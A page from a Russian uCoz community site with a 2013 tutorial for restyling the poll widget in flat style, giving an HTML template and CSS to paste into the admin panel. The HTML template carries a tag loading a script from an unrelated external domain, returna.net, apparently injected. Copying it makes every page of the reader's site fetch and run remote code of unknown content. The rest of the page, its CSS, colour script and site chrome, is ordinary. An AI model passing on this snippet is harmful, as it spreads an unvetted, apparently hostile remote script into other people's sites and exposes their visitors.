Вы вошли как Гость | Группа "Гости" | RSS Главная Мой профиль Выход
html clocks часы для сайта html
Нравится
Меню сайта

Связь с админом

Хозяйка 594305672 emma691@i.ua

Поздравляем
 
=Анет= , Хозяйку, risia, meri, ирина47
 
Поздравляем с днём рождения! Здоровья, счастья и всего найлучшего!

Наши конкурсы

Фото-конкурс "Конкурс "Нарисуй свою мечту""

" Конкурс " Очи чёрные, очи страстные....""

Конкурс "Этикетка к празднику""

Битва коллажистов №4"

Победители конкурсов
         
 1 место в конкурсе "Надпись НЯМ-НЯМ" bagira0110
                                                         ...........................................
         
 1 место в конкурсе "Смайлики" lubik
                                                         ...........................................
         
 1 место в конкурсе отрисовок "Пчёлы" ear33
                                                         ...........................................
         
 1 место в конкурсе "Модный приговор" Galinnna
                                                         ...........................................

Cтатистика
С НАМИ ВСЕГО 1
Гостей: 1
СВОИХ 0

 

Сегодня с нами были

Наш опрос
http://www.new-mig.clan.su/click.gif
Оцените мой сайт
Всего ответов: 447


Главная » 2013 » Июнь » 29 » Вид опроса для uCoz, в стиле flat
Вид опроса для uCoz, в стиле flat
21:05
Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я подумал дайка я создам форму опросов именно в этом стиле..

Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля

удаляем старый html код и устанавливаем новый:

Код
<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">  
  var color_poll = ["#5D9AD3","#E96465","#F6954E","#dd8cd2 ","#75D0ED ","#5BC254","#CFC72D","#DD3344","#FE9B6F","#4176B3","#8CC84B","#DD8CD2","#e9eb5b","#E96465","#75D0ED"];  
  $('.answer div div').each(function(i){  
  if(!color_poll[i]){color_poll[i] = '#F8F8F8';}  
  $(this).css({background:color_poll[i++]});  
  });  
</script>


Теперь нам осталось прописать css стили:

Код
/* Вид опроса для uCoz, в стили flat
------------------------------------------*/
.cell-poll{
  float:left;
  width:230px;
  color:#666;
  background: #fff;
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  
}

.cell-poll-title{
  float:left;
  width:100%;
  padding-bottom: 10px;
  border-bottom: 1px solid #B6C0CD;
  font:12px Verdana,Arial,Helvetica, sans-serif;
  font-weight:bold;
  text-align:center;
  color:#666;  
}

.cell-poll a {text-decoration:none; outline:none}

.cell-poll-answers{
  float:left;
  width:100%;
  margin: 10px 0px 10px 0px;  
  text-align:left;
}

.answer{
  float:left;
  width:100%;
  color:#f8f8f8;
  position:relative;
  height:20px!important;
  padding: 2px 0px 2px 0px;  
  margin: 0px 0px 7px 0px;  
  background: #f8f8f8;
}

.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}

.answer div{
  height:20px!important;
  padding: 2px 0px 2px 0px;  
  position:absolute;
  z-index:998;
  top:0px;
  left:0px;
  width:100%;
}  
   
.answer span{
  float:right;
  height:14px!important;
  margin-right: 2px;  
  padding: 2px 5px 2px 5px;  
  color:#666;  
  position:relative;
  top:1px;
  left:0px;
  z-index:999;
  background: #fff;

}  

.pollBut{
  cursor:pointer;
  border:none!important;  
  margin-top:10px;
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  
}

.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}

.cell-poll-link{
  float:left;
  width:100%;
  padding-top: 10px;
  border-top: 1px solid #B6C0CD;
   
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}


Вот и всё, наш вид опроса для системы uCoz в стиле flat готова.

На этом всё спасибо за внимание!
Просмотров: 107 | Добавил: greenpis | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
   
Вход на сайт

 
Личный кабинет
Воскресенье
20.08.2017
12:38

Личных сообщений:
Вы вошли как: Гость
IP : 54.156.92.46
Гости
Днюха:
Ты тут: Дня(ей)
Пол:
  


Наша кнопка
Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте. Если вы хотите обменяться с нами баннерами, пишите в гостевую книгу


MSteam


 

Баннеры друзей

       

  
Случайная новость
         
Ulead PhotoImpact - пакет программ профессионального уровня для работы с графикой.
 
Ulead photoImpact 12 rus
FaceFilter Studio предназначен для исправления или изменения выражения лица на фотографии. Можно сделать из мрачного субъекта необыкновенно развесёлого человека, создать совершенно безупречное модельное лицо.
 
FaceFilter Studio

 

 

 
Copyright MyCorp © 2017
Сайт управляется системой uCoz